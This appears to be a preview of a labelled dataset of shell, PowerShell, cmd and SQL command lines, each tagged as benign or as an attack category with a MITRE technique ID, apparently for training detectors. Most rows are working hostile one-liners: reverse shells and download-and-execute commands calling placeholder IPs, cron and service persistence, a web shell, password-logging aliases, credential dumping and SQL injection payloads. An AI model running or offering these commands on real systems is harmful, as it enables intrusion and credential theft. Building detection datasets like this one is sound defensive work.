text stringlengths 4 527 | label stringclasses 7
values | label_id int64 0 6 | language stringclasses 5
values | mitre_technique stringclasses 83
values | template_id stringclasses 377
values |
|---|---|---|---|---|---|
'; EXEC master..xp_dirtree '\\cdn-nightly.example.net\x'-- | sql_injection | 6 | sql | T1190 | sql_injection-032 |
crackmapexec smb 198.51.100.0/24 -u admin -p passwords.txt --continue-on-success | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-017 |
Get-Content C:\Logs\app.log -Tail 21 -Wait | benign | 0 | powershell | null | benign-056 |
-1'; EXEC master..xp_dirtree '\\cdn-audit.example.net\x'--;%00 | sql_injection | 6 | sql | T1190 | sql_injection-032 |
CREATE EVENT netlogond ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('/tmp/.svc'); | persistence | 4 | sql | T1053 | persistence-056 |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.0.2.126',80)" & rem interactive | reverse_shell | 3 | cmd | T1059.003 | reverse_shell-053 |
for /L %i in (1,1,254) do @ping -n 1 -w 100 192.0.2.%i | find "TTL" | reconnaissance | 1 | cmd | T1018 | reconnaissance-083 |
INSERT INTO events (name, email) VALUES ('deploy', 'deploy@example.com'); | benign | 0 | sql | null | benign-071 |
nmap -sn 198.51.100.0/24 | grep 'report for' | reconnaissance | 1 | bash | T1046 | reconnaissance-048 |
gcore -o /tmp/stage2 $(pgrep -f sshd | head -1) && strings /tmp/stage2* | grep -i password | credential_harvesting | 2 | bash | T1003.007 | credential_harvesting-044 |
UPDATE sessions SET status = 'active' WHERE id = 38; | benign | 0 | sql | null | benign-070 |
cmd.exe /c "regsvr32 /s /u /i:https://cdn-cache.example.org/svc3.sct scrobj.dll" | download_execute | 5 | cmd | T1218.010 | download_execute-045 |
df -h | benign | 0 | bash | null | benign-017 |
POST /login username=jenkins&remember=true | benign | 0 | http | null | benign-150 |
SELECT * FROM events WHERE sku LIKE '%deploy%'; | benign | 0 | sql | null | benign-077 |
ssh admin@web18.acme.test 'uptime' | benign | 0 | bash | null | benign-019 |
docker run --rm -d 203.0.113.127:5000/install66:latest | download_execute | 5 | bash | T1105 | download_execute-036 |
curl -s http://192.0.2.246/k.pub >> ~/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-032 |
git log --oneline -n 12 | benign | 0 | bash | null | benign-109 |
';+UPDATE+users+SET+password='P@ssw0rd!'+WHERE+username='admin'--;%00 | sql_injection | 6 | sql | T1190 | sql_injection-038 |
impacket-GetNPUsers ad.example.org/ -usersfile users.txt -format hashcat -outputfile asrep.txt | credential_harvesting | 2 | bash | T1558.004 | credential_harvesting-054 |
tasklist | findstr api | benign | 0 | cmd | null | benign-130 |
mysqldump -u ubuntu -p accounts > lib.sql | benign | 0 | bash | null | benign-103 |
gobuster dir -u http://192.0.2.224/ -w /usr/share/wordlists/dirb/common.txt | reconnaissance | 1 | bash | T1595 | reconnaissance-019 |
sc config SystemHealth binPath= "cmd /c C:\ProgramData\update.exe" start= auto | persistence | 4 | cmd | T1543.003 | persistence-054 |
rsync -avz --delete /etc/nginx/ ubuntu@db15.example.net:/etc/nginx/ | benign | 0 | bash | null | benign-021 |
Copy-Item $env:TEMP\x88.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\AdobeARM.exe" | persistence | 4 | powershell | T1547.001 | persistence-017 |
Get-ADComputer -FiltER * | SElEct-OBJect -EXpandPropertY DNSHosTNAme | reconnaissance | 1 | powershell | T1018 | reconnaissance-025 |
CREATE TRIGGER AdobeARM AFTER INSERT ON orders FOR EACH ROW EXECUTE PROCEDURE tmp(); | persistence | 4 | sql | T1505.001 | persistence-025 |
sudo curl -s http://192.0.2.196/lib.sh | bash | download_execute | 5 | bash | T1105 | download_execute-000 |
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-backup.contoso.test",8443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' | reverse_shell | 3 | bash | T1059.006 | reverse_shell-039 |
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.119/53 0>&1'") | crontab - | persistence | 4 | bash | T1053.003 | persistence-000 |
ldapsearch -x -H ldap://198.51.100.56 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName | reconnaissance | 1 | bash | T1590 | reconnaissance-058 |
GeT-MpCOmpuTeRStAtUs; GEt-CimINSTaNce -NaMEspace rOoT/SeCuriTyCEntEr2 -CLasSName AntivIrusPRODuct | reconnaissance | 1 | powershell | T1518.001 | reconnaissance-027 |
sudo wget -q http://192.0.2.106/kdev81.deb && dpkg -i kdev81.deb | download_execute | 5 | bash | T1105 | download_execute-034 |
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.0.2.54','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');" | reverse_shell | 3 | bash | T1059 | reverse_shell-014 |
sudo crackmapexec smb 198.51.100.0/24 -u erin -p passwords.txt --continue-on-success | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-017 |
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.32/kdev60.ps1') | download_execute | 5 | powershell | T1059.001 | download_execute-011 |
Get-IteMProperty 'HKLM:\SOFTWARE\MIcrosOft\WindOWs NT\CurrentVERsIoN\WiNLOgoN' | SelecT DefauLTUSerNAme, DEfaulTPassword | credential_harvesting | 2 | powershell | T1552.002 | credential_harvesting-067 |
mknod /tmp/install p; /bin/sh 0</tmp/install | nc 198.51.100.247 48152 1>/tmp/install | reverse_shell | 3 | bash | T1059.004 | reverse_shell-006 |
IEX (NeW-Object Net.WEbCLient).DOwnLoadSTrInG('Http://203.0.113.142/tMp39.ps1') | download_execute | 5 | powershell | T1059.001 | download_execute-011 |
$sm=(New-Object Net.Sockets.TCPClient('198.51.100.46',1337)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
1' oR Pg_SleeP(5)--/* | sql_injection | 6 | sql | T1190 | sql_injection-013 |
NtdsUtiL "ac i ntds" "IFM" "CReate full C:\Temp\x" q q | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-030 |
rustscan -a 198.51.100.87 --ulimit 5000 -- -sV | reconnaissance | 1 | bash | T1046 | reconnaissance-049 |
powershell.exe -Command "& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\kdev.dmp" | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
echo 'backup' | base64 | benign | 0 | bash | null | benign-025 |
sc create AdobeARM binPath= "C:\ProgramData\a.exe" start= auto & sc start AdobeARM | persistence | 4 | cmd | T1543.003 | persistence-021 |
net share & net sessioN & nEt view \\wEB5.sErvIce.ExAmple | reconnaissance | 1 | cmd | T1135 | reconnaissance-084 |
16 AND (SELECT SLEEP(5))-- - -- | sql_injection | 6 | sql | T1190 | sql_injection-006 |
1'; EXEC master..xp_dirtree '\\cdn-sync.contoso.test\x'--;%00 | sql_injection | 6 | sql | T1190 | sql_injection-032 |
printf '[Service]\nExecStart=/usr/local/bin/.x\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/SystemHealth.service && systemctl enable --now SystemHealth | persistence | 4 | bash | T1543.002 | persistence-004 |
28 AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='a') THEN 1 ELSE 0 END FROM dual) | sql_injection | 6 | sql | T1190 | sql_injection-034 |
-1' OR '1'='1' -- ;%00 | sql_injection | 6 | sql | T1190 | sql_injection-000 |
curl.exe -s http://192.0.2.124/health31.bat -o %TEMP%\health31.bat & call %TEMP%\health31.bat | download_execute | 5 | cmd | T1105 | download_execute-024 |
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]); %>' > /var/www/html/a30.aspx | persistence | 4 | bash | T1505.003 | persistence-040 |
(crontab -l 2>/dev/null; echo "*/30 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.15/32851 0>&1'") | crontab - | persistence | 4 | bash | T1053.003 | persistence-000 |
socat tcp-connect:198.51.100.148:5555 exec:'bash -li',pty,stderr,setsid,sigint,sane | reverse_shell | 3 | bash | T1059.004 | reverse_shell-007 |
abc'; EXEC master..xp_dirtree '\\cdn-update.example.com\x'-- -- | sql_injection | 6 | sql | T1190 | sql_injection-032 |
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('192.0.2.13',8080);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
016+AND+(SELECT+SLEEP(15))--+-# | sql_injection | 6 | sql | T1190 | sql_injection-006 |
regsvr32 /s /n /u /i:http://192.0.2.183:4444/install64.sct scrobj.dll | reverse_shell | 3 | cmd | T1218.010 | reverse_shell-026 |
nc -c bash 192.0.2.239 11357 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-034 |
gcore -o /tmp/sys $(pgrep -f sshd | head -1) && strings /tmp/sys* | grep -i password | credential_harvesting | 2 | bash | T1003.007 | credential_harvesting-044 |
lwp-download http://192.0.2.106/lib /tmp/lib && perl /tmp/lib | download_execute | 5 | bash | T1105 | download_execute-030 |
sudo ldapsearch -x -H ldap://198.51.100.169 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName | reconnaissance | 1 | bash | T1590 | reconnaissance-058 |
SELECT username, password, email FROM invoices INTO OUTFILE '/var/www/html/lib.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
socat TCP:192.0.2.252:443 EXEC:sh | reverse_shell | 3 | bash | T1059.004 | reverse_shell-037 |
New-Service -Name SystemHealth -BinaryPathName 'C:\ProgramData\health21.exe' -StartupType Automatic | persistence | 4 | powershell | T1543.003 | persistence-045 |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://198.51.100.17/tmp.sct") | download_execute | 5 | cmd | T1218.011 | download_execute-022 |
neT group "EnTErprise AdmiNs" /dOmAiN | reconnaissance | 1 | cmd | T1069.002 | reconnaissance-086 |
cmd.exe /c "net user toor Winter2024! /add & net localgroup administrators toor /add" | persistence | 4 | cmd | T1136.001 | persistence-022 |
Get-WindowsUpdate -Install -AcceptAll | benign | 0 | powershell | null | benign-059 |
lwp-download http://192.0.2.187/svc /tmp/svc && perl /tmp/svc | download_execute | 5 | bash | T1105 | download_execute-030 |
$w=New-Object Net.WebClient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iex $w.DownloadString('https://cdn-portal.example.com/x68') | download_execute | 5 | powershell | T1059.001 | download_execute-017 |
cp /tmp/run /usr/lib/systemd/system-generators/sysupdate | persistence | 4 | bash | T1543.002 | persistence-034 |
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.tmp; sudo"' >> ~/.bashrc | credential_harvesting | 2 | bash | T1056.001 | credential_harvesting-012 |
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("198.51.100.113",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' | reverse_shell | 3 | bash | T1059.006 | reverse_shell-008 |
VACUUM ANALYZE users; | benign | 0 | sql | null | benign-143 |
echo '/usr/local/bin/.a18 &' >> /etc/profile | persistence | 4 | bash | T1546.004 | persistence-006 |
net share & net session & net view \\web4.example.org | reconnaissance | 1 | cmd | T1135 | reconnaissance-084 |
Get-ADUser -Identity admin -Properties LastLogonDate, PasswordLastSet | benign | 0 | powershell | null | benign-115 |
enum4linux -a 198.51.100.22 | reconnaissance | 1 | bash | T1590 | reconnaissance-021 |
SELECT COUNT(*) FROM products GROUP BY status HAVING COUNT(*) > 38; | benign | 0 | sql | null | benign-073 |
BEGIN; UPDATE accounts SET balance = balance - 46 WHERE id = 1; COMMIT; | benign | 0 | sql | null | benign-078 |
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File install.txt | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
$w=New-Object Net.WebClient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iex $w.DownloadString('https://cdn-sync.example.com/install') | download_execute | 5 | powershell | T1059.001 | download_execute-017 |
curl -I https://acme.test | benign | 0 | bash | null | benign-094 |
smbclient -L //198.51.100.49 -N | reconnaissance | 1 | bash | T1590 | reconnaissance-022 |
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\data56.dit | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-069 |
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\stage236" q q | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-030 |
1'+HAVING+1=1--+--+ | sql_injection | 6 | sql | T1190 | sql_injection-042 |
/usr/bin/curl -fsSL http://192.0.2.101/x40 -o /tmp/.x40 && chmod +x /tmp/.x40 && /tmp/.x40 | download_execute | 5 | bash | T1105 | download_execute-002 |
echo '[Desktop Entry]\nExec=/tmp/.health' > ~/.config/autostart/kworkerd.desktop | persistence | 4 | bash | T1037.005 | persistence-042 |
nmap -sS -p- -T4 192.0.2.204 | reconnaissance | 1 | bash | T1046 | reconnaissance-000 |
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"198.51.100.55:30883");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' | reverse_shell | 3 | bash | T1059 | reverse_shell-042 |
echo 'alias ls="ls --color=auto; /tmp/.update &"' >> /home/www-data/.bashrc | persistence | 4 | bash | T1546.004 | persistence-035 |
powershell.exe -Command "Get-Content C:\ProgramData\App\app.log -Tail 7 -Wait" | benign | 0 | powershell | null | benign-056 |
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\out50.db | credential_harvesting | 2 | powershell | T1555.003 | credential_harvesting-024 |
-1' OR Pg_sleeP(10)-- | sql_injection | 6 | sql | T1190 | sql_injection-013 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.